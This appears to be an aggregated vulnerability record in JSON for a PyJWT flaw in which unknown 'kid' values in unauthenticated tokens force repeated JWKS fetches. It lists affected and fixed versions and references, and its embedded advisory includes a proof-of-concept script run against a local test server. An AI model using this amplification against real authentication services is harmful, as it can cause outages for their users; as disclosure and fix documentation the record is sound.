{"id":"CVE-2026-101917","aliases":["AZL-104982","BELL-CVE-2026-101917","CLSA-2026-1790839846","CLSA-2026-1790843991","CLSA-2026-1791271338","DEBIAN-CVE-2026-101917","EUVD-2026-88478","GHSA-2gx3-rcp4-g85q","OESA-2026-4453","OESA-2026-4455","OESA-2026-4456","PYSEC-2026-4140","SUSE-SU-2026:24126-1","SUSE-SU-2026:24134-1","SUSE-SU-2026:24219-1","SUSE-SU-2026:24377-1","SUSE-SU-2026:5064-1","UBUNTU-CVE-2026-101917","USN-8934-1","openSUSE-SU-2026:11994-1","openSUSE-SU-2026:22074-1"],"status":"published","title":"PyJWT: PyJWKClient still amplifies unauthenticated JWKS fetches on unknown kid values (incomplete fix of CVE-2026-48524)","description":"PyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, PyJWT get_signing_key_from_jwt is affected because unknown kid misses force refreshes without a negative cache or minimum refresh interval. This occurs when unauthenticated tokens repeatedly use the same unknown kid or varying kid values absent from the cached JWKS. As a result, each cache miss causes PyJWKClient to refresh the JWKS. Consequently, attacker traffic can amplify outbound requests to the configured JWKS endpoint. This issue is fixed in version 2.14.0.","severity":{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00428,"percentile":0.37323,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-770"],"published":"2026-09-28T20:07:44Z","modified":"2026-11-07T07:15:02Z","fixes":[{"ecosystem":"PyPI","package":"pyjwt","fixed_in":["2.14.0"],"sources":["ghsa","osv"]},{"ecosystem":"Azure Linux:3","package":"python-jwt","fixed_in":["2.15.1-1"],"sources":["osv"]},{"ecosystem":"Alpaquita:25","package":"py3-jwt","fixed_in":["2.15.1-r0"],"sources":["osv"]},{"ecosystem":"Alpaquita:stream","package":"py3-jwt","fixed_in":["2.15.1-r0"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"pyjwt","fixed_in":["2.14.0-1"],"sources":["osv"]},{"ecosystem":"Ubuntu:22.04:LTS","package":"pyjwt","fixed_in":["2.3.0-1ubuntu0.6"],"sources":["osv"]},{"ecosystem":"Ubuntu:24.04:LTS","package":"pyjwt","fixed_in":["2.7.0-1ubuntu0.4"],"sources":["osv"]},{"ecosystem":"Ubuntu:26.10","package":"pyjwt","fixed_in":["2.13.0-1ubuntu1.1"],"sources":["osv"]},{"ecosystem":"Ubuntu:26.04:LTS","package":"pyjwt","fixed_in":["2.10.1-4ubuntu1.3"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.13.0"},{"fixed":"2.14.0"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"python-jwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.15.1-1"}]}]},{"source":"osv","ecosystem":"Alpaquita:25","package":"py3-jwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.10.1-r0"},{"fixed":"2.15.1-r0"}]}]},{"source":"osv","ecosystem":"Alpaquita:stream","package":"py3-jwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.8.0-r1"},{"fixed":"2.15.1-r0"}]}]},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.10.1"},{"fixed":"2.10.1.post5+tuxcare"}]}],"versions":["2.10.1","2.10.1.post1+tuxcare","2.10.1.post2+tuxcare","2.10.1.post3+tuxcare","2.10.1.post4+tuxcare"],"bundled":6},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.8.0"},{"fixed":"2.8.0.post4+tuxcare"}]}],"versions":["2.8.0","2.8.0.post1+tuxcare","2.8.0.post2+tuxcare","2.8.0.post3+tuxcare"],"bundled":6},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.3.0"},{"fixed":"2.3.0.post4+tuxcare"}]}],"versions":["2.3.0","2.3.0.post1+tuxcare","2.3.0.post2+tuxcare","2.3.0.post3+tuxcare"],"bundled":7},{"source":"osv","ecosystem":"Debian:12","package":"pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.10.1-1","2.10.1-2","2.10.1-3","2.10.1-4","2.11.0-2","2.12.1-1","2.13.0-1","2.14.0-1","2.15.0-1","2.15.1-1","2.6.0-1","2.6.0-1+deb12u1","2.7.0-1"]},{"source":"osv","ecosystem":"Debian:13","package":"pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.10.1-2","2.10.1-2+deb13u1","2.10.1-3","2.10.1-4","2.11.0-2","2.12.1-1","2.13.0-1","2.14.0-1","2.15.0-1","2.15.1-1"]},{"source":"osv","ecosystem":"Debian:14","package":"pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.14.0-1"}]}],"versions":["2.10.1-2","2.10.1-3","2.10.1-4","2.11.0-2","2.12.1-1","2.13.0-1"]},{"source":"osv","ecosystem":"PyPI","package":"pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.14.0"}]}],"versions":["0.1.1","0.1.2","0.1.3","0.1.4","0.1.5","0.1.6","0.1.7","0.1.8","0.1.9","0.2.0","0.2.1","0.2.3","0.3.0","0.3.1","0.3.2","0.4.0","0.4.1","0.4.2","0.4.3","1.0.0","1.0.1","1.1.0","1.3.0","1.4.0","1.4.1","1.4.2","1.5.0","1.5.1","1.5.2","1.5.3","1.6.0","1.6.1","1.6.3","1.6.4","1.7.0","1.7.1","2.0.0","2.0.0a1","2.0.0a2","2.0.1","2.1.0","2.10.0","2.10.1","2.11.0","2.12.0","2.12.1","2.13.0","2.2.0","2.3.0","2.4.0","2.5.0","2.6.0","2.7.0","2.8.0","2.9.0"]},{"source":"osv","ecosystem":"openEuler:24.03-LTS-SP4","package":"python-jwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.8.0-11.oe2403sp4"}]}],"bundled":5},{"source":"osv","ecosystem":"openEuler:24.03-LTS-SP1","package":"python-jwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.8.0-11.oe2403sp1"}]}],"bundled":5},{"source":"osv","ecosystem":"openEuler:24.03-LTS-SP3","package":"python-jwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.8.0-11.oe2403sp3"}]}],"bundled":5},{"source":"osv","ecosystem":"PyPI","package":"pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.14.0"}]}],"versions":["0.1.1","0.1.2","0.1.3","0.1.4","0.1.5","0.1.6","0.1.7","0.1.8","0.1.9","0.2.0","0.2.1","0.2.3","0.3.0","0.3.1","0.3.2","0.4.0","0.4.1","0.4.2","0.4.3","1.0.0","1.0.1","1.1.0","1.3.0","1.4.0","1.4.1","1.4.2","1.5.0","1.5.1","1.5.2","1.5.3","1.6.0","1.6.1","1.6.3","1.6.4","1.7.0","1.7.1","2.0.0","2.0.0a1","2.0.0a2","2.0.1","2.1.0","2.10.0","2.10.1","2.11.0","2.12.0","2.12.1","2.13.0","2.2.0","2.3.0","2.4.0","2.5.0","2.6.0","2.7.0","2.8.0","2.9.0"]},{"source":"osv","ecosystem":"SUSE:Linux Micro 6.2","package":"python-PyJWT","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.12.1-160000.3.1"}]}],"bundled":10},{"source":"osv","ecosystem":"SUSE:Linux Micro 6.0","package":"python-PyJWT","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.9.0-159998.1.1"}]}],"bundled":9},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"python-PyJWT","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.12.1-160000.3.1"}]}],"bundled":10},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"python-PyJWT","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.12.1-160000.3.1"}]}],"bundled":10},{"source":"osv","ecosystem":"SUSE:Linux Micro 6.1","package":"python-PyJWT","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.12.1-slfo.1.1_3.1"}]}],"bundled":10},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Public Cloud 15 SP4","package":"python-PyJWT","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.8.0-150400.8.20.1"}]}],"bundled":8},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Python 3 15 SP7","package":"python-PyJWT","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.8.0-150400.8.20.1"}]}],"bundled":8},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP4-ESPOS","package":"python-PyJWT","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.8.0-150400.8.20.1"}]}],"bundled":8},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP4-LTSS","package":"python-PyJWT","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.8.0-150400.8.20.1"}]}],"bundled":8},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP5-ESPOS","package":"python-PyJWT","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.8.0-150400.8.20.1"}]}],"bundled":8},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP5-LTSS","package":"python-PyJWT","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.8.0-150400.8.20.1"}]}],"bundled":8},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP4-LTSS","package":"python-PyJWT","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.8.0-150400.8.20.1"}]}],"bundled":8},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP5-LTSS","package":"python-PyJWT","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.8.0-150400.8.20.1"}]}],"bundled":8},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP6-LTSS","package":"python-PyJWT","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.8.0-150400.8.20.1"}]}],"bundled":8},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP4","package":"python-PyJWT","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.8.0-150400.8.20.1"}]}],"bundled":8},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP5","package":"python-PyJWT","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.8.0-150400.8.20.1"}]}],"bundled":8},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP6","package":"python-PyJWT","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.8.0-150400.8.20.1"}]}],"bundled":8},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.3.0-1ubuntu0.6"}]}],"versions":["1.7.1-2ubuntu2","2.1.0-1","2.3.0-1","2.3.0-1ubuntu0.1","2.3.0-1ubuntu0.2","2.3.0-1ubuntu0.3","2.3.0-1ubuntu0.4","2.3.0-1ubuntu0.5"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.7.0-1ubuntu0.4"}]}],"versions":["2.7.0-1","2.7.0-1ubuntu0.1","2.7.0-1ubuntu0.2","2.7.0-1ubuntu0.3"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.13.0-1ubuntu1.1"}]}],"versions":["2.10.1-4ubuntu1","2.12.1-1","2.13.0-1","2.13.0-1ubuntu1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.10.1-4ubuntu1.3"}]}],"versions":["2.10.1-2","2.10.1-3","2.10.1-3build1","2.10.1-4","2.10.1-4ubuntu1","2.10.1-4ubuntu1.1","2.10.1-4ubuntu1.2"]},{"source":"osv","ecosystem":"Ubuntu:Pro:16.04:LTS","package":"pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.3.0-1ubuntu0.1+esm4"}]}],"versions":["1.0.0-0ubuntu1","1.3.0-1","1.3.0-1ubuntu0.1","1.3.0-1ubuntu0.1+esm1","1.3.0-1ubuntu0.1+esm2","1.3.0-1ubuntu0.1+esm3"],"bundled":4},{"source":"osv","ecosystem":"Ubuntu:Pro:18.04:LTS","package":"pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.5.3+ds1-1ubuntu0.1+esm4"}]}],"versions":["1.4.2-1.1","1.5.3+ds1-1","1.5.3+ds1-1ubuntu0.1","1.5.3+ds1-1ubuntu0.1+esm1","1.5.3+ds1-1ubuntu0.1+esm2","1.5.3+ds1-1ubuntu0.1+esm3"],"bundled":4},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.7.1-2ubuntu2.1+esm4"}]}],"versions":["1.7.0-2","1.7.1-1","1.7.1-2ubuntu1","1.7.1-2ubuntu2","1.7.1-2ubuntu2.1","1.7.1-2ubuntu2.1+esm1","1.7.1-2ubuntu2.1+esm2","1.7.1-2ubuntu2.1+esm3"],"bundled":4},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.3.0-1ubuntu0.6"}]}],"versions":["1.7.1-2ubuntu2","2.1.0-1","2.3.0-1","2.3.0-1ubuntu0.1","2.3.0-1ubuntu0.2","2.3.0-1ubuntu0.3","2.3.0-1ubuntu0.4","2.3.0-1ubuntu0.5"],"bundled":4},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.7.0-1ubuntu0.4"}]}],"versions":["2.7.0-1","2.7.0-1ubuntu0.1","2.7.0-1ubuntu0.2","2.7.0-1ubuntu0.3"],"bundled":4},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.13.0-1ubuntu1.1"}]}],"versions":["2.10.1-4ubuntu1","2.12.1-1","2.13.0-1","2.13.0-1ubuntu1"],"bundled":4},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.10.1-4ubuntu1.3"}]}],"versions":["2.10.1-2","2.10.1-3","2.10.1-3build1","2.10.1-4","2.10.1-4ubuntu1","2.10.1-4ubuntu1.1","2.10.1-4ubuntu1.2"],"bundled":4},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"python-PyJWT","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.15.1-1.1"}]}],"bundled":9},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"python-PyJWT","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.12.1-160000.3.1"}]}],"bundled":10}],"products":[{"vendor":"jpadilla","product":"pyjwt"},{"vendor":"pyjwt_project","product":"pyjwt"}],"references":[{"url":"https://github.com/jpadilla/pyjwt/security/advisories/GHSA-2gx3-rcp4-g85q","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web","report"]},{"url":"https://github.com/jpadilla/pyjwt/commit/ba4853a75fb9676362da17f67d0f64bd18afd4e1","tags":["x_refsource_MISC","Patch","fix","web","report"]},{"url":"https://github.com/jpadilla/pyjwt/releases/tag/2.14.0","tags":["x_refsource_MISC","Product","Release Notes","web","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101917","tags":["web","advisory"]},{"url":"https://github.com/advisories/GHSA-2gx3-rcp4-g85q","tags":["advisory"]},{"url":"https://docs.bell-sw.com/security/cves/CVE-2026-101917","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/101xxx/CVE-2026-101917.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-101917","tags":["advisory"]},{"url":"https://github.com/jpadilla/pyjwt","tags":["package"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-4453","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101918","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102265","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102269","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102275","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-4455","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-4456","tags":["advisory"]},{"url":"https://pypi.org/project/pyjwt","tags":["package"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202624126-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1283060","tags":["report"]},{"url":"https://bugzilla.suse.com/1283061","tags":["report"]},{"url":"https://bugzilla.suse.com/1283064","tags":["report"]},{"url":"https://bugzilla.suse.com/1283065","tags":["report"]},{"url":"https://bugzilla.suse.com/1283066","tags":["report"]},{"url":"https://bugzilla.suse.com/1283067","tags":["report"]},{"url":"https://bugzilla.suse.com/1283068","tags":["report"]},{"url":"https://bugzilla.suse.com/1283071","tags":["report"]},{"url":"https://bugzilla.suse.com/1283072","tags":["report"]},{"url":"https://bugzilla.suse.com/1283829","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-101917","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-101918","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-102267","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-102268","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-102269","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-102270","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-102271","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-102274","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-102275","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-103001","tags":["web"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202624134-1/","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202624219-1/","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202624377-1/","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-20265064-1/","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2026-101917","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-101917","tags":["report"]},{"url":"https://ubuntu.com/security/notices/USN-8934-1","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2026-101918","tags":["report"]},{"url":"https://ubuntu.com/security/CVE-2026-102274","tags":["report"]},{"url":"https://ubuntu.com/security/CVE-2026-102275","tags":["report"]},{"url":"","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2026-102266","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-102272","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2026-101917","title":"PyJWT: PyJWKClient still amplifies unauthenticated JWKS fetches on unknown kid values (incomplete fix of CVE-2026-48524)","description":"PyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, PyJWT get_signing_key_from_jwt is affected because unknown kid misses force refreshes without a negative cache or minimum refresh interval. This occurs when unauthenticated tokens repeatedly use the same unknown kid or varying kid values absent from the cached JWKS. As a result, each cache miss causes PyJWKClient to refresh the JWKS. Consequently, attacker traffic can amplify outbound requests to the configured JWKS endpoint. This issue is fixed in version 2.14.0.","status":"published","published":"2026-09-28T20:07:44.237Z","modified":"2026-09-28T20:35:25.908Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium","assessor":"cna"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T14:20:09.808851Z"}],"euvd":[{"id":"EUVD-2026-88478","description":"PyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, PyJWT get_signing_key_from_jwt is affected because unknown kid misses force refreshes without a negative cache or minimum refresh interval. This occurs when unauthenticated tokens repeatedly use the same unknown kid or varying kid values absent from the cached JWKS. As a result, each cache miss causes PyJWKClient to refresh the JWKS. Consequently, attacker traffic can amplify outbound requests to the configured JWKS endpoint. This issue is fixed in version 2.14.0.","status":"published","published":"2026-09-28T20:07:44Z","modified":"2026-09-28T20:35:25Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"updated_at":"2026-11-02T17:27:52.759804Z"}],"ghsa":[{"id":"GHSA-2gx3-rcp4-g85q","title":"PyJWT: PyJWKClient still amplifies unauthenticated JWKS fetches on unknown kid values (incomplete fix of CVE-2026-48524)","description":"Summary\nCVE-2026-48524 (GHSA-fhv5-28vv-h8m8, \"PyJWKClient unbounded JWKS endpoint requests via attacker-controlled kid values (DoS)\") was fixed in 2.13.0 by stopping fetch_data() from clearing the cache on a fetch error. That closed one amplification path but did not add the mitigation the advisory's title implies: there is still no rate-limit, negative-cache, or minimum-refresh-interval for unknown kids.\n\nAt HEAD, get_signing_key(kid) (jwt/jwks_client.py:185-211), on any unknown kid, calls get_signing_keys(refresh=True), and refresh=True bypasses jwk_set_cache unconditionally and forces a fresh fetch_data(). The kid is read from the unverified token header (get_signing_key_from_jwt decodes with verify_signature=False), so no valid token and no authentication is required. lru_cache does not cache the raised exception, so even the same unknown kid repeated re-fetches on every call.\n\nAffected\npyjwt \u003c= 2.13.0 (the latest release; the patched release for CVE-2026-48524). No fixed version yet.\n\nProof of concept (verified on 2.13.0, cache enabled = realistic prod config)\nimport threading, http.server, socketserver, json\nfrom jwt import PyJWKClient\nhits = {'n': 0}\nJWKS = json.dumps({\"keys\":[{\"kty\":\"oct\",\"kid\":\"real\",\"k\":\"AAAA\"}]}).encode()\nclass H(http.server.BaseHTTPRequestHandler):\n    def do_GET(self):\n        hits['n'] += 1\n        self.send_response(200); self.send_header('Content-Type','application/json'); self.end_headers()\n        self.wfile.write(JWKS)\n    def log_message(self,*a): pass\nsrv = socketserver.TCPServer(('[127.0.0.1](https://127.0.0.1/)',0), H); port = srv.server_address[1]\nthreading.Thread(target=srv.serve_forever, daemon=True).start()\nc = PyJWKClient(f'http://127.0.0.1/:{port}[/jwks](tg://bot_command?command=jwks).json', cache_keys=True, lifespan=3600)\nfor i in range(8):\n    try: c.get_signing_key(f'attacker-unknown-kid-{i}')\n    except Exception: pass\nbefore = hits['n']\nfor _ in range(5):\n    try: c.get_signing_key('same-unknown')\n    except Exception: pass\nprint('distinct unknown kids: 8 -\u003e fetches:', hits['n'])\nprint('same unknown kid x5 -\u003e extra fetches:', hits['n'] - before)\n\nOutput:\n  distinct unknown kids: 8 -\u003e fetches: 9\n  same unknown kid x5 -\u003e extra fetches: 5\nEach unknown kid forces a fresh JWKS fetch; a repeated identical unknown kid still re-fetches every time against an unexpired cache. No rate-limit or negative-cache.\n\nImpact\nOne unauthenticated request -\u003e one outbound JWKS HTTP fetch + full JSON parse on the victim server. An attacker floods tokens carrying junk kids, so the victim hammers its own JWKS/IdP endpoint (amplification: attacker -\u003e victim -\u003e IdP), exhausting victim CPU/sockets and potentially tripping the JWKS provider's rate-limit, causing an application-wide auth outage. This is the unauthenticated DoS the parent advisory is named for, still reachable after the 2.13.0 fix.\n\nSuggested fix\nGuard the forced refresh on unknown kids: negative-cache unknown kids for a short TTL, or enforce a minimum interval between forced JWKS refreshes, so a repeated or unknown kid cannot force unbounded fetches.\n\nNote: the same-kid-repeated result (5 identical unknown kids producing 5 fetches against an unexpired cache) shows this is request amplification, not legitimate key-rotation handling, since that refresh can never succeed.\n\nReported by Babakizo (Securva).\n\n## Maintainer update — 2026-09-10\n\nThe maintainer confirmed the reported behavior against PyJWT 2.13.0. With JWKS caching\nenabled, an unknown `kid` previously forced an unconditional JWKS refresh,\nincluding when the same unknown value was repeated while the cached key set was\nstill valid. This allowed unauthenticated token headers to cause unnecessary\noutbound JWKS requests and repeated parsing work.\n\nThe fix is now on `master` in commit `ba4853a`. `PyJWKClient` now applies a\n30-second cooldown after successful JWKS fetches before permitting another\nunknown-`kid` refresh, serializes concurrent refresh decisions per client, and\nallows callers to configure or disable the cooldown. Cache-disabled behavior\nand immediate retry after failed fetches remain unchanged.\n\nRegression tests cover repeated unknown kids, cooldown expiry, concurrent\nmisses, cache-disabled operation, and invalid cooldown values. The available\nfull tox matrix, Ruff, and mypy checks pass. The fix will be included in the\nnext released 2.x version.\n\n## Maintainer update — 2026-09-11\n\nThe verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.","status":"published","published":"2026-09-29T23:11:51Z","modified":"2026-09-29T23:11:54Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T14:41:22.654187Z"}],"nvd":[{"id":"CVE-2026-101917","description":"PyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, PyJWT get_signing_key_from_jwt is affected because unknown kid misses force refreshes without a negative cache or minimum refresh interval. This occurs when unauthenticated tokens repeatedly use the same unknown kid or varying kid values absent from the cached JWKS. As a result, each cache miss causes PyJWKClient to refresh the JWKS. Consequently, attacker traffic can amplify outbound requests to the configured JWKS endpoint. This issue is fixed in version 2.14.0.","status":"published","published":"2026-09-28T21:17:13.21Z","modified":"2026-10-07T21:01:01.01Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium","assessor":"secondary"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T14:12:52.413234Z"}],"osv":[{"id":"BELL-CVE-2026-101917","status":"published","published":"2026-10-01T06:08:32.599788Z","modified":"2026-11-07T07:15:02.304134192Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-07T07:40:35.83094Z"},{"id":"CVE-2026-101917","title":"PyJWT: PyJWKClient still amplifies unauthenticated JWKS fetches on unknown kid values (incomplete fix of CVE-2026-48524)","description":"PyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, PyJWT get_signing_key_from_jwt is affected because unknown kid misses force refreshes without a negative cache or minimum refresh interval. This occurs when unauthenticated tokens repeatedly use the same unknown kid or varying kid values absent from the cached JWKS. As a result, each cache miss causes PyJWKClient to refresh the JWKS. Consequently, attacker traffic can amplify outbound requests to the configured JWKS endpoint. This issue is fixed in version 2.14.0.","status":"published","published":"2026-09-28T20:07:44.237Z","modified":"2026-11-03T22:56:56.824514773Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"cwes":["CWE-770"],"updated_at":"2026-11-03T23:33:40.031248Z"},{"id":"DEBIAN-CVE-2026-101917","description":"PyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, PyJWT get_signing_key_from_jwt is affected because unknown kid misses force refreshes without a negative cache or minimum refresh interval. This occurs when unauthenticated tokens repeatedly use the same unknown kid or varying kid values absent from the cached JWKS. As a result, each cache miss causes PyJWKClient to refresh the JWKS. Consequently, attacker traffic can amplify outbound requests to the configured JWKS endpoint. This issue is fixed in version 